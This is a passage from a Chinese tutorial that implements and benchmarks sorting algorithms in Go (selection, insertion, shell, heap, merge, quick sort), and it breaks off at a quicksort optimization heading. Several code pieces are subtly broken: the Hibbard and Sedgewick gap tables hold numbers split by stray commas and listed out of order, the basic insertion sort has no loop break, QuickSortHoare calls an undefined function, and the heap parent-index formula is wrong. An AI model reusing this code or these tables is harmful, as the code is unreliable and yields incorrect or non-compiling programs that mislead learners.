+BenchmarkBubbleSortPlus/1000-16             1090           1092803 ns/op               0 B/op          0 allocs/op
+BenchmarkBubbleSortPlus/10000-16               8         139880100 ns/op               0 B/op          0 allocs/op
+BenchmarkBubbleSortPlus/100000-16              1        18904012900 ns/op              0 B/op          0 allocs/op
+PASS
+ok      sorts   51.565s
+

提升并不是特别明显,因为数据是完全随机的,可能很多生成的数据并没有走到优化点上,这也变相证明了冒泡排序不太适合实际使用。

选择排序

选择排序的思路非常的清晰和容易实现,将数组分为两部分,一部分有序,一部分无序,首先在数组的未排序部分找出其中的最大或最小值,也就是然后将最大值或最小值其与数组的中的第i个元素交换位置。第一个交换的一定是第一大或第一小的元素,第二个就是第二大或第二小的元素,这样一来就确认了有序的部分,如此在未排序的部分循环往复,直到整个数组有序。比如

2 1 4 -1
+

此时整个数组都是无序的,找出其最小值-1,与第一个元素交换位置

-1 1 4 2
+

此时只剩[1,4,2]是未排序部分,继续找最小值,得到1,那么它就是第二小的元素,就将其与第二个元素交换位置,由于它本身就在第二个位置上所以没变化。

-1 1 4 2
+

继续按照这个流程,就能将数据最终变得有序。具体代码实现如下

func SelectSort[T any](s []T, less func(a, b T) bool) {
+	for i := 0; i < len(s); i++ {
+		minI := i
+		for j := i + 1; j < len(s); j++ {
+			if less(s[j], s[minI]) {
+				minI = j
+			}
+		}
+		s[i], s[minI] = s[minI], s[i]
+	}
+}
+

时间复杂度:O(n^2)

不管在什么情况,在选择排序的过程中,它都会在每轮循环后的未排序部分去比较寻找最大值,所以比较次数为(n-1)+(n-2)+(n-3)....+1差不多就是(n2+n)/2,所以其时间复杂度为O(n2)。

空间复杂度:O(1)

排序过程中没有用到任何的额外空间来辅助,所以时间复杂度为O(1)。

稳定性:否

在交换的过程中它们的位置会发生改变,但也不会被调整回来,所以是不稳定的。看一个例子

6 7 6 0 1
+

第一轮交换第一个6会和0交换位置,就变成了

0 7 6 6 1
+

本来是在第二个6前面的现在到后面来了,相对位置发生改变了,即便整个数组完成排序后也不会再被调整。

性能测试

goos: windows
+goarch: amd64
+pkg: sorts
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkSelectSort/100-16        109363             10377 ns/op               0 B/op          0 allocs/op
+BenchmarkSelectSort/1000-16         1260            939461 ns/op               0 B/op          0 allocs/op
+BenchmarkSelectSort/10000-16          13          88333308 ns/op               0 B/op          0 allocs/op
+BenchmarkSelectSort/100000-16          1        9028276000 ns/op               0 B/op          0 allocs/op
+PASS
+ok      sorts   13.263s
+

可以看到的是选择排序在10w数据量时选择排序花费的时间是冒泡的一半左右,这是因为冒泡每轮循环交换的次数比较多,而选择排序每轮循环只交换一次,总体上从时间来说是优于冒泡排序的。

优化

原版选择排序只会在切片的左边构建有序部分,在右边无序的部分去寻找最大或最小值,既然反正都是在无序部分寻找最大/最小值,那就可以在切片左右两边都构建有序区,假设是升序排序,左边是最小,右边是最大,中间就是无序区,这样一来就可以减少差不多一半的比较次数。优化后的代码如下

func SelectSort[T any](s []T, less func(a, b T) bool) {
+	// 记录左右两边的边界
+	l, r := 0, len(s)-1
+	for l < r {
+		minI, maxI := l, r
+		for j := l; j <= r; j++ {
+			if less(s[j], s[minI]) {
+				minI = j
+			}
+
+			if !less(s[j], s[maxI]) {
+				maxI = j
+			}
+		}
+
+		// 没找到就没必要交换
+		if minI != l {
+			s[minI], s[l] = s[l], s[minI]
+
+			// 如果maxI==l,说明maxI上已经不是原来的那个值了
+			// 因为l和minI已经交换过了,此时的l就是minI,所以要纠正一下
+			if l == maxI {
+				maxI = minI
+			}
+		}
+
+		if maxI != r {
+			s[maxI], s[r] = s[r], s[maxI]
+		}
+
+		// 缩小边界
+		l++
+		r--
+	}
+}
+

这样一来,这样一来只需要看一边的比较次数就够了,不严谨的来说就是(n/2-1)+(n/2-2)+(n/2-3)...,最后时间复杂度依旧是O(n^2),不过优化的时间效率上会有所提升。

goos: windows
+goarch: amd64
+pkg: sorts
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkSelectSort/100-16                109363             10377 ns/op               0 B/op          0 allocs/op
+BenchmarkSelectSort/1000-16                 1260            939461 ns/op               0 B/op          0 allocs/op
+BenchmarkSelectSort/10000-16                  13          88333308 ns/op               0 B/op          0 allocs/op
+BenchmarkSelectSort/100000-16                  1        9028276000 ns/op               0 B/op          0 allocs/op
+BenchmarkSelectSortPlus/100-16            133096              8826 ns/op               0 B/op          0 allocs/op
+BenchmarkSelectSortPlus/1000-16             1447            794633 ns/op               0 B/op          0 allocs/op
+BenchmarkSelectSortPlus/10000-16              14          77494886 ns/op               0 B/op          0 allocs/op
+BenchmarkSelectSortPlus/100000-16              1        7745074200 ns/op               0 B/op          0 allocs/op
+PASS
+ok      sorts   29.479s
+

通过数据对比可以看到,在时间效率上大概提升了接近10-20%左右。

插入排序

插入排序也是一种比较简单的排序方法,其基本思路为:假设0 ...i的元素已经有序,使用s[i+1]逆向与前i+1个元素进行逐个比较,如果在比较过程中第j个元素比第i+1个元素小/大,那么将其后移,如此循环往复,直到找到第一个大于/小于s[i+1]下标元素的元素时或者下标为0时,考虑到比s[i]小/大的元素都已经后移了,所以直接s[i]的值覆盖到s[j+1]上。

func InsertSort[T any](s []T, less func(a, b T) bool) {
+	for i := 1; i < len(s); i++ {
+		item := s[i]
+		var j int
+		for j = i - 1; j >= 0; j-- {
+			if less(item, s[j]) {
+				s[j+1] = s[j]
+			}
+		}
+		s[j+1] = item
+	}
+}
+

时间复杂度:O(n^2)

如果是要升序排列,在最好情况下,要排序的切片已经是完全升序的了,那么只需要进行n-1次比较操作。最坏情况就是完全降序,那么就需要n+(n-1)+(n-2)+......+1次比较,总共就是(n^2+n)/2次。

空间复杂度:O(1)

整个过程中未用到额外的辅助空间

稳定性:是

遇到相等元素时便插入到该元素后面,不会出现跑到它前面的情况。

性能测试

goos: windows
+goarch: amd64
+pkg: sorts
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkInsertSort/100-16        127532              8925 ns/op               0 B/op          0 allocs/op
+BenchmarkInsertSort/1000-16         1611            736531 ns/op               0 B/op          0 allocs/op
+BenchmarkInsertSort/10000-16          15          71716213 ns/op               0 B/op          0 allocs/op
+BenchmarkInsertSort/100000-16          1        7104786500 ns/op               0 B/op          0 allocs/op
+PASS
+ok      sorts   11.312s
+

优化

插入排序的优化方案很容易想到,假设是升序排列,在确保前n个元素已经是有序的情况下,我们需要去一个个遍历找到第一个小于s[n+1]的元素,既然它是有序的,那就可以使用二分查找来进行操作,然后再移动元素。移动次数没有减少,但比较次数减少了相当的多。优化后的代码如下

func InsertSortPlus[T any](s []T, less func(a, b T) bool) {
+	for i := 1; i < len(s); i++ {
+		target := s[i]
+		// 对有序部分进行二分查找
+		l, r := 0, i-1
+		for l <= r {
+			mid := l + (r-l)/2
+			if less(target, s[mid]) {
+				r = mid - 1
+			} else {
+				l = mid + 1
+			}
+		}
+
+		// 移动元素
+		for j := i - 1; j >= l; j-- {
+			s[j+1] = s[j]
+		}
+		s[l] = target
+	}
+}
+

看看优化后的性能

goos: windows
+goarch: amd64
+pkg: sorts
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkInsertSort/100-16                127532              8925 ns/op               0 B/op          0 allocs/op
+BenchmarkInsertSort/1000-16                 1611            736531 ns/op               0 B/op          0 allocs/op
+BenchmarkInsertSort/10000-16                  15          71716213 ns/op               0 B/op          0 allocs/op
+BenchmarkInsertSort/100000-16                  1        7104786500 ns/op               0 B/op          0 allocs/op
+BenchmarkInsertSortPlus/100-16            399487              2820 ns/op               0 B/op          0 allocs/op
+BenchmarkInsertSortPlus/1000-16             7941            187614 ns/op               0 B/op          0 allocs/op
+BenchmarkInsertSortPlus/10000-16              79          13721910 ns/op               0 B/op          0 allocs/op
+BenchmarkInsertSortPlus/100000-16              1        1290984000 ns/op               0 B/op          0 allocs/op
+PASS
+ok      sorts   28.564s
+

可以看到使用了二分的插入排序性能整整比原版提升了足足有70-80%左右,这已经是非常巨大的提升了。在最好的情况下,如果切片本身就是全部有序的话,就不需要移动元素,那么就只有查找会消耗时间,这样一来它的时间复杂度可以接近O(nlogn)。在最差的情况,每次都需要移动i-1个元素,那么就是(log(n-1)+n-1)+(log(n-2)+n-2)+(log(n-3)+n-3)....,当n足够大时,logn产生的影响已经微不足道了,虽然没有经过严格的计算,但简单估算下它的时间复杂度依旧不会小于O(n^2)。

不过值得高兴的是,到目前为止总算有一个方法能够有突破O(n^2)的可能性。

希尔排序

希尔排序是插入排序的一个更加高效的优化版本,也称递减增量排序。原版插入排序在数据本身是有序的情况下效率会非常高可以达到O(n),希尔排序的改进思路也是基于此,它在移动和比较时,不再是一个一个移动,而是有了间隔称之为步长。比如下面这个序列

6 2 1 5 8 11 9 0
+

假设初始步长为3,那么就将数据划分为了三份

6 5 9
+2 8 0
+1 11
+

分别对每一份进行插入排序后得到下面的序列,将其拼接再一起,然后再以步长为2进行划分

5 6 9
+0 2 8
+1 11
+
+5 0 1 6 2 11 9 8
+
5 1 2 9
+0 6 11 8
+
+1 2 5 9
+0 6 8 11
+

此时再拼接回来

1 0 2 6 5 8 9 11
+

可以发现整体已经接近基本有序的状态了,在这种情况下,步长再减为1就是原版插入排序了,在数据大多数有序的情况下,插入排序的时间复杂度可以接近O(n)。希尔排序的关键就在于,如何选择这个步长序列,步长序列的不同会导致希尔排序的时间复杂度也不同,在某些情况下它可能根本不会起作用。比如下面这个数据,步长的选择是每次折半,会根本发现不会起到任何优化的作用,反而还不如直接进行插入排序,因为无意义的步长划分导致它甚至比原始的插入排序还增加了额外的耗时,要更加的低效率。

2 1 4 3 6 5 8 7
+
+// 步长为4
+2 3 7
+1 5
+4 8
+6
+
+// 步长为2
+2 4 6 8
+1 3 5 7
+

最简单的步长序列就是每次对半分,这也是希尔本人提出的,这种也最容易实现,当然也最容易出现上面那个问题。

func ShellSort[T any](s []T, less func(a, b T) bool) {
+	for gap := len(s) >> 1; gap > 0; gap >>= 1 {
+		for i := gap; i < len(s); i++ {
+			item := s[i]
+			j := i - gap
+			for ; j >= 0; j -= gap {
+				if !less(item, s[j]) {
+					break
+				}
+				s[j+gap] = s[j]
+			}
+			s[j+gap] = item
+		}
+	}
+}
+

当最坏情况下,也是上面那个例子的情况下,划分步长没有任何的意义,这就退化成了原始的插入排序,其最差时间复杂度依旧是O(n^2)。为了避免这种情况,就需要仔细斟酌步长序列的选择,最基本的原则就是序列之间的元素得互为质数,如果可以互为因子的话就可能会出现对已经排过序的集合再一次排序这种情况,导致无意义的消耗。

希尔排序首次提出是在上世纪六十年代,现如今已经有了非常多的序列可选,下面介绍比较常见的两个:

  • Hibbard序列,最差时间复杂度O(n(3/2))
  • Sedgewick序列,最差时间复杂度O(n(4/3)),目前最优序列?

还有其它非常多的序列,前往:Shellsort - Wikipediaopen in new window了解更多(注意必须是英文维基,中文根本没有这么详细的介绍)。Hibbard实现代码如下,步长序列采用打表的方式记录,不需要每次都来计算步长序列。步长序列本身计算非常简单,难的是求证过程,笔者受限于数学水平,无法在此做出解答。由于序列的增长本身就是次方级别,当增长到数值溢出时的上一个步长就是最大步长了,这样就可以得到一个对于任意长度的切片都适用的步长序列。

var HibbardGaps = []int{
+	9223372036854775807, 4611686018427387903, 2305843009213693951, 1152921504606846975, 576460752303423487, 288230376151711743, 144115188075855871, 72057594037927935, 36028797018963967, 18014398509481983, 9007199254740991, 4503599627370495, 2251, 799813685247,
+	1125899906842623, 562949953421311, 281474976710655, 140737488355327, 70368744177663, 35184372088831, 17592186044415, 8796093022207, 4398046511103, 2199023255551, 1099511627775, 549755813887, 274877906943, 137438953471, 68719476735, 34359738367, 17179869183,
+	8589934591, 4294967295, 2147483647, 1073741823, 536870911, 268435455, 134217727, 67108863, 33554431, 16777215, 8388607, 4194303, 2097151, 1048575, 524287, 262143, 131071, 65535, 32767, 16383, 8191, 4095, 2047, 1023, 511, 255, 127, 63, 31, 15, 7, 3, 1,
+}
+
+func ShellSortHibbard[T any](s []T, less func(a, b T) bool) {
+	if len(s) == 0 {
+		return
+	}
+
+	n := len(s)
+	hibbard := HibbardGaps
+	for i := len(HibbardGaps) - 1; i >= 0; i-- {
+        // 当步长超过数组长度时候就退出
+		if HibbardGaps[i] > n {
+			hibbard = HibbardGaps[i+1:]
+			break
+		}
+	}
+
+	for _, gap := range hibbard {
+		for i := gap; i < len(s); i++ {
+			item := s[i]
+			j := i - gap
+			for ; j >= 0; j -= gap {
+				if !less(item, s[j]) {
+					break
+				}
+				s[j+gap] = s[j]
+			}
+			s[j+gap] = item
+		}
+	}
+}
+

对于Sedgewick序列,则有如下两个公式

第二个公式要分奇偶情况,这里选择第一个公式,依旧选择打表实现。

var SedgewickGaps = []int{
+	6917529027641081857, 3458764513820540929, 1729382256910270465, 864691128455135233, 432345564227567617, 216172782113783809, 108086391056891905, 54043195528445953, 27021597764222977, 13510798882111489, 6755399441055745, 3377699720527873, 16888,
+	49860263937, 844424930131969, 422212465065985, 211106232532993, 105553116266497, 52776558133249, 26388279066625, 13194139533313, 6597069766657, 3298534883329, 1649267441665, 824633720833, 412316860417, 206158430209, 103079215105, 51539607553, 257,
+	69803777, 12884901889, 6442450945, 4611686021648613377, 1152921506217459713, 288230376957018113, 72057594440581121, 18014398710808577, 4503599728033793, 1125899957174273, 281475001876481, 70368756760577, 17592192335873, 4398049656833, 109951320,
+	0641, 274878693377, 68719869953, 17180065793, 4295065601, 1073790977, 268460033, 67121153, 16783361, 4197377, 1050113, 262913, 65921, 16577, 4193, 1073, 281, 77, 23, 8, 1,
+}
+
+func ShellSortSedgewick[T any](s []T, less func(a, b T) bool) {
+	if len(s) == 0 {
+		return
+	}
+
+	n := len(s)
+	sedgewickGaps := SedgewickGaps
+	for i := len(SedgewickGaps) - 1; i >= 0; i-- {
+		if SedgewickGaps[i] > n {
+			sedgewickGaps = SedgewickGaps[i+1:]
+			break
+		}
+	}
+
+	for _, gap := range sedgewickGaps {
+		for i := gap; i < len(s); i++ {
+			item := s[i]
+			j := i - gap
+			for ; j >= 0; j -= gap {
+				if !less(item, s[j]) {
+					break
+				}
+				s[j+gap] = s[j]
+			}
+			s[j+gap] = item
+		}
+	}
+}
+

性能测试

下面是一个简单的性能测试对比

goos: windows
+goarch: amd64
+pkg: sorts
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkShellSort/100-16                         555520              2035 ns/op               0 B/op          0 allocs/op
+BenchmarkShellSort/1000-16                         18080             66212 ns/op               0 B/op          0 allocs/op
+BenchmarkShellSort/10000-16                         1056           1121350 ns/op               0 B/op          0 allocs/op
+BenchmarkShellSort/100000-16                          74          15739070 ns/op               0 B/op          0 allocs/op
+BenchmarkShellSortHibbard/100-16                  674043              1991 ns/op               0 B/op          0 allocs/op
+BenchmarkShellSortHibbard/1000-16                  18570             62829 ns/op               0 B/op          0 allocs/op
+BenchmarkShellSortHibbard/10000-16                  1044           1177521 ns/op               0 B/op          0 allocs/op
+BenchmarkShellSortHibbard/100000-16                   68          17195475 ns/op               2 B/op          0 allocs/op
+BenchmarkShellSortSedgewick/100-16                677540              1955 ns/op               0 B/op          0 allocs/op
+BenchmarkShellSortSedgewick/1000-16                21933             56625 ns/op               0 B/op          0 allocs/op
+BenchmarkShellSortSedgewick/10000-16                1266            928296 ns/op               0 B/op          0 allocs/op
+BenchmarkShellSortSedgewick/100000-16                 91          12452856 ns/op               1 B/op          0 allocs/op
+PASS
+ok      sorts   126.826s
+

可以看到的是Sedgewick步长序列在时间效率上有着较为明显的提升,Hibbard则不太明显。

堆排序

堆排序是利用堆这个数据结构对数据进行排序,堆的特点是可以在构建完毕后以O(1)的时间找到最大或最小值。堆有很多种实现,最简单也是最常见的实现就是二项堆,其类似一个完全二叉树,不过是以数组形式呈现的,这时下标呈现一个规律,对于一个下标i的元素

  • 其父节点的下标:i/2-1
  • 其左子节点的下标:i*2+1
  • 其右子节点的下标:i*2+2

如果是升序排序,就构建大顶堆,反之构建小顶堆。

这里以升序为例,父节点与子节点进行比较,如果比子节点小就交换双方位置,交换后继续向下比较,直到遇到第一个比父节点更小的子节点,或者没有子节点了才停止,这个过程被称为下沉。对于一个切片而言,它的最后一个子树的根节点位置位于len(s)/2 -1,逆序遍历每一个子树根节点,对其进行下沉操作。在构建完毕后,此时堆顶的元素一定的最大的那一个,将其与切片中最后一个元素交换,然后再次对堆顶元素进行下沉操作,此时下沉范围不包括最后一个元素,因为已经确定了它是最大值。第二次下沉可以确认堆顶的元素是第二大的,将其与在切片的倒数第二下标的元素交换,然后下沉范围减一,继续第三次下沉,如此循环往复,每次下沉都能找到第k大的元素,最终整个切片都会有序。

func down[T any](s []T, l, r int, less func(a, b T) bool) {
+	for ls := l<<1 + 1; ls < r; ls = l<<1 + 1 {
+		rs := ls + 1
+
+		if rs < r && !less(s[rs], s[ls]) {
+			ls = rs
+		}
+
+		if less(s[ls], s[l]) {
+			break
+		}
+
+		s[ls], s[l] = s[l], s[ls]
+		l = ls
+	}
+}
+
+func HeapSort[T any](s []T, less func(a, b T) bool) {
+    // 构建大顶堆
+	for i := len(s)>>1 - 1; i >= 0; i-- {
+		down(s, i, len(s), less)
+	}
+
+    // 交换堆顶元素,不断缩小范围并对堆顶元素进行下沉
+	for i := len(s) - 1; i > 0; i-- {
+		s[0], s[i] = s[i], s[0]
+		down(s, 0, i, less)
+	}
+}
+

时间复杂度:O(nlogn)

堆排序总共分为两步,第一步构建堆,由于是自底向上构建,如果一个高度为h的子树已经是堆了,那么高度为h+1的子树进行调整的话最多也只需要h步,构建堆的过程的时间复杂度可以是O(n),详细证明过程可以看:Build Binary heap - Wikipediaopen in new window。在下沉的过程中,对于一个高度为h的完全二叉树而言,最多需要比较h-1次,而高度h就等于log2(n+1),总共下沉n-1次,其时间复杂度就近似为O(nlogn),并且不管在任何情况都是O(nlogn),不会受到数据的影响。

空间复杂度:O(1)

过程中没有用到任何的额外辅助空间

稳定性:否

在排序过程中,需要不断的将堆顶元素放交换到数组末尾,这一过程会破掉坏相等元素的相对位置。

性能测试

goos: windows
+goarch: amd64
+pkg: sorts
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkHeapSort/100-16                  462600              2688 ns/op               0 B/op          0 allocs/op
+BenchmarkHeapSort/1000-16                   6410            167627 ns/op               0 B/op          0 allocs/op
+BenchmarkHeapSort/10000-16                    93          11975123 ns/op               0 B/op          0 allocs/op
+BenchmarkHeapSort/100000-16                    1        1136002700 ns/op               0 B/op          0 allocs/op
+PASS
+ok      sorts   16.270s
+

可以看到的是,在10w数据量的情况下,堆排序只需要1秒多一点。

归并排序

归并排序是分治思想的一个体现,1945年由约翰.冯.诺依曼首次提出。它的思路理解起来非常简单,看一个例子,现有如下数据

4 1 5 8 0 6 2 10
+

首先是分隔操作,将其分成两份

4 1 5 8 || 0 6 2 10
+

在两份的基础之上对半分

4 1 || 5 8 || 0 6 || 2 10
+

此时已经没法再分了,可以直接调整每一份内的顺序,由于只有两个数,只需要简单交换下,现在每一小份的数据内部都是有序的

1 4 || 5 8 || 0 6 || 2 10
+

接下来就是合并操作,先将其合并为2份,在合并的过程中,可以创建一个临时数组来保存结果,比如合并 0 6 || 2 10,第一步0比2小,所以先写入0

0
+

第二步,6比2大,所以写入2

0 2
+

第三步6比10小,所以写入6,最后写入10。

0 2 6 10
+

由于每小份内部都是有序的,在合并的时候只需要依次比较元素就可以得到更大的有序的部分,合并成两份数据如下

1 4 5 8 || 0 2 6 10
+

最终延续之前的操作,将其合并为一份,就可以得到排序后的数组。这个过程就是分治的过程,一整个数组不好排序,就将其分为更小的数组,直到不能再分,排序好后再不断合并为更大的有序数组,直到完成排序。这种方式天然适合递归来实现,当然也可以使用迭代来实现,只不过后者要自行模拟栈的行为,较为麻烦。

在递归方法中,分治是自顶向下的,仅当合并时才会用到临时数组用于写入数据,为了避免多次内存分配而影响性能,可以在排序开始前就分配好一个等大的临时数组。

func MergeSort[T any](s []T, less func(a, b T) bool) {
+    t := make([]T, len(s))
+    divide(s, t, 0, len(s)-1, less)
+}
+
+func divide[T any](s []T, t []T, l, r int, less func(a, b T) bool) {
+    if l >= r {
+       return
+    }
+
+    // 对半分
+    m := l + (r-l)>>1
+    // 分治左边
+    divide(s, t, l, m, less)
+    // 分治右边
+    divide(s, t, m+1, r, less)
+    // 合并两部分
+    merge(s, t, l, r, m, less)
+}
+
+func merge[T any](s []T, t []T, l, r, m int, less func(a, b T) bool) {
+    // 左右两个指针指向左右两个部分
+    li, ri := l, m+1
+    i := l
+
+    // 写入临时数组
+    for ; li <= m && ri <= r; i++ {
+       if less(s[li], s[ri]) {
+          t[i] = s[li]
+          li++
+       } else {
+          t[i] = s[ri]
+          ri++
+       }
+    }
+
+    // 还有左半边还有剩余元素就直接添加进去
+    for ; li <= m; i, li = i+1, li+1 {
+       t[i] = s[li]
+    }
+
+    // 右半边还有剩余元素也直接添加进去
+    for ; ri <= r; i, ri = i+1, ri+1 {
+       t[i] = s[ri]
+    }
+
+    // 正常写完后i指针是越界的,修正一下
+    i--
+
+    // 写回原数组
+    for ; i >= l; i-- {
+       s[i] = t[i]
+    }
+}
+

递归的优点就是简单易懂,如果数据过大,可能会爆栈,而迭代的优点就是可以避免递归栈空间的开销,是真正意义上的O(n)空间,建议使用迭代法。

时间复杂度:O(nlogn)

拿迭代法举例分析,最外层循环每次都会乘2,可以确定是log2^n次,内层循环每次移动一个步长,然后在遍历步长范围内的元素,内循环总的遍历次数就是n次,内外总的时间复杂度就是O(nlogn)。归并排序和堆排序一样,不受数据的影响,始终都是O(nlogn)。

空间复杂度:O(n)

用到了一个临时数组来保存每一轮合并结果

稳定性:是

性能测试

下面是迭代和递归法两个一起测试的结果

goos: windows
+goarch: amd64
+pkg: sorts
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkMergeSort/100-16                 483931              2915 ns/op             896 B/op          1 allocs/op
+BenchmarkMergeSort/1000-16                 22893             48469 ns/op            8192 B/op          1 allocs/op
+BenchmarkMergeSort/10000-16                 1533            749286 ns/op           81920 B/op          1 allocs/op
+BenchmarkMergeSort/100000-16                 135           8780795 ns/op          802819 B/op          1 allocs/op
+BenchmarkMergeSortI/100-16                453235              2309 ns/op             896 B/op          1 allocs/op
+BenchmarkMergeSortI/1000-16                25916             47443 ns/op            8192 B/op          1 allocs/op
+BenchmarkMergeSortI/10000-16                1758            661138 ns/op           81920 B/op          1 allocs/op
+BenchmarkMergeSortI/100000-16                154           7438036 ns/op          802817 B/op          1 allocs/op
+PASS
+ok      sorts   60.562s
+

从时间效率上来看,迭代法总体是要优于递归法的,大概提升了10%-25%左右的时间效率。

快速排序

快速排序,又称分区交换排序,也用到了分治的思想,由英国计算机科学家东尼.霍尔在1959年提出。它的平均时间复杂度是O(nlogn),最差是O(n^2),尽管如此,在对随机数据的排序效果上,尤其是大量的随机数据,其时间效率的表现比归并排序和堆排序更好一些。

下面介绍一下快排的实现思路:假设有如下数据且是升序排序,总共有10个数字,快排的思路中也需要分治,不过它的方法不会像归并排序一样直接对半分,而是会选取一个基准值,将数组划分成两部分,左半边的部分都比这个基准值小,右半边的部分都比这个基准值大,具体的划分思路如下。

5 8 6 3 2 0 7 9 11 30 
+

这里为了简单演示,选择5作为基准值,然后有左右两端两个指针指向最左和最右,左指针从左往右扫描,遇到比基准值大的元素停下来,右指针从右往左扫描,遇到比基准值小的元素停下来,下面用i表示左指针,j表示右指针。右边先开始扫描,遇到比基准值小的元素就停下,j停在了0所在的位置。

pivot: 5
+5 8 6 3 2 0 7 9 11 30
+i         j
+

将j所指向的元素的值赋给i所指向的元素

pivot: 5
+0 8 6 3 2 0 7 9 11 30
+i         j
+

然后左边开始扫描,遇到比基准值大的元素就停下,然后将i所指向元素的值赋给j所指向的元素

pivot: 5
+0 8 6 3 2 8 7 9 11 30
+  i       j
+

再然后j继续从右边开始扫描,遇到2停下,将其赋值给i所指向的元素,如此循环往复,直到两指针相遇

pivot: 5
+0 2 6 3 2 8 7 9 11 30
+  i     j  
+  
+pivot: 5
+0 2 6 3 6 8 7 9 11 30
+    i   j 
+
+pivot: 5
+0 2 3 3 6 8 7 9 11 30
+    i j  
+    
+pivot: 5
+0 2 3 3 6 8 7 9 11 30
+      i
+      j
+

相遇过后,此时i和j的位置,就是基准值在这个数组中排序后对应的位置,将基准值赋值到相遇位置上的元素

pivot: 5
+0 2 3 5 6 8 7 9 11 30
+      i
+      j
+

此时可以发现,基准值5右边的所有数字都大于5,左边的数字全都小于5 ,说明在升序排序的情况下,数字5的下标就位于下标3,至此数字5的位置确定了,每一轮扫描都可以确定一个数字在数组中排序后的位置,接下来就是将数组分为两部分,0-2和4-9,再次对子数组进行相同的操作,直到不可再分。

另一点需要注意的是,如果基准值的选取默认选择在最左边的元素,那么在扫描的时候就需要右边先开始。如果从左边开始,那么左指针i扫描结束后会覆盖j所指向的值,但此处j指向的是最右边的值,把它覆盖过后这个值就丢失了。看下面一个例子,当第一次左指针i扫描完成后两个指针分别指向7和10

pivot: 5
+5 2 4 1 3 7 8 9 10
+          i      j
+

此时i会将7赋值给j所指向的元素,也就是将10覆盖为7

pivot: 5
+5 2 4 1 3 7 8 9 7
+          i     j
+

然后问题就出现了,10这个数字就不见了,当从右边先开始时,j所覆盖的第一个元素一定是最左边的基准值,因为基准值是单独记录的,所以不存在丢失的问题。同理,基准值取最右边的元素时,就需要左指针先动。考虑一种情况,如果基准值恰好是所有数字中最小的,就像下面的数据一样。

pivot: 1
+1 2 3 4 5 6
+

由于总是右指针先开始,且基准值已经是最小的了,右指针会移动到1与左指针相遇然后停下,然后子数组被分成了[0,-1]和[1,5],只产生了一个有效的子数组,后面的每一次递归都是这种情况,第一层递归比较n-1次,第二层递归比较n-2次,第三层比较n-3次,总共会产生n-1次而不是log2n次递归调用,这样一来它的时间复杂度实际上就变成了O(n2)。

上面介绍的这个分区方法叫霍尔分区法,在其它教材比如《算法导论》以及英文wiki中介绍的一般是洛穆托分区法,它的代码实现更简单,比较适合用作教学。它的思路可以参考下面这个例子,选取基准值取最右边的元素5,然后有ij两个分别指针指向-10,它们的移动方向都是从左到右,并非左右双向指针。

pivot: 5
+  8 0 1 7 2 4 6 5
+i j
+

j先开始扫描,遇到比基准值小的元素停下来,然后i向后移动一位,再交换ij所指向的元素,如此循环往复,直到j移动到最右边

pivot: 5
+0 8 1 7 2 4 6 5
+i j
+
+pivot: 5
+0 1 8 7 2 4 6 5
+  i j
+  
+pivot: 5
+0 1 8 7 2 4 6 5
+  i   j
+  
+pivot: 5
+0 1 2 7 8 4 6 5
+    i   j
+    
+pivot: 5
+0 1 2 4 8 7 6 5
+      i   j
+      
+pivot: 5
+0 1 2 4 8 7 6 5
+      i       j
+

扫描结束后,i此时指向的是最后一个小于基准值的数字,所以将i向后移动一位指向8

pivot: 5
+0 1 2 4 8 7 6 5
+        i     j
+

然后i,j指向的元素互换

pivot: 5
+0 1 2 4 5 7 6 8
+        i     j
+

此时基准值就被放到了正确的位置上来了,洛穆托分区法跟冒泡很相似,只不过它不会像冒泡一样逐个交换,而是跳跃式的,在最坏情况下,洛穆托分区法的时间复杂度也是O(n^2)。假设升序排序且洛穆托分区法基准值取的是左边,那么两个指针就要从右往左移,比较规则也要从小于换成大于。

代码实现

func QuickSortHoare[T any](s []T, less func(a, b T) bool) {
+	partitionHoare1(s, 0, len(s)-1, less)
+}
+
+func partitionHoare[T any](s []T, l, r int, less func(a, b T) bool) {
+	if l >= r {
+		return
+	}
+
+	// 记录基准值
+	pivot := s[l]
+	// 左右两个指针
+	i, j := l, r
+
+	for i < j {
+		// 右指针先动
+		for i < j && !less(s[j], pivot) {
+			j--
+		}
+		// 覆盖i所指向的值
+		s[i] = s[j]
+		// 左指针后动
+		for i < j && less(s[i], pivot) {
+			i++
+		}
+		// 覆盖j所指向的值
+		s[j] = s[i]
+	}
+
+	// 基准值归位
+	s[i] = pivot
+
+	partitionHoare(s, l, i-1, less)
+	partitionHoare(s, i+1, r, less)
+}
+

时间复杂度:O(nlogn)

每一趟扫描的时间复杂度是O(n),总共扫描log2^n次,所以总的时间复杂度是O(nlogn)。

空间复杂度:O(logn)

它在代码方面确实没有额外的空间,但在有些书籍中会将递归的栈空间也算入空间复杂度中,也就是O(logn),在上面介绍的最坏的情况下,它的空间复杂度可以达到O(n)。

性能测试

goos: windows
+goarch: amd64
+pkg: sorts
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkQuickSortHoare/100-16                    837140              2484 ns/op               0 B/op          0 allocs/op
+BenchmarkQuickSortHoare/1000-16                    26656             47014 ns/op               0 B/op          0 allocs/op
+BenchmarkQuickSortHoare/10000-16                     888           1344127 ns/op               0 B/op          0 allocs/op
+BenchmarkQuickSortHoare/100000-16                     13          84603315 ns/op               0 B/op          0 allocs/op
+BenchmarkQuickSortLomuto/100-16                   650293              2199 ns/op               0 B/op          0 allocs/op
+BenchmarkQuickSortLomuto/1000-16                   33241             38348 ns/op               0 B/op          0 allocs/op
+BenchmarkQuickSortLomuto/10000-16                    900           1318429 ns/op               0 B/op          0 allocs/op
+BenchmarkQuickSortLomuto/100000-16                    13          85330962 ns/op               0 B/op          0 allocs/op
+PASS
+ok      sorts   85.051s
+

两种分区法并没有特别明显的性能差距,但理论上来讲,洛穆托分区法的交换次数是是霍尔分区法的三倍(证明过程可以前往hoare vs lomutoopen in new window了解细节)。

优化

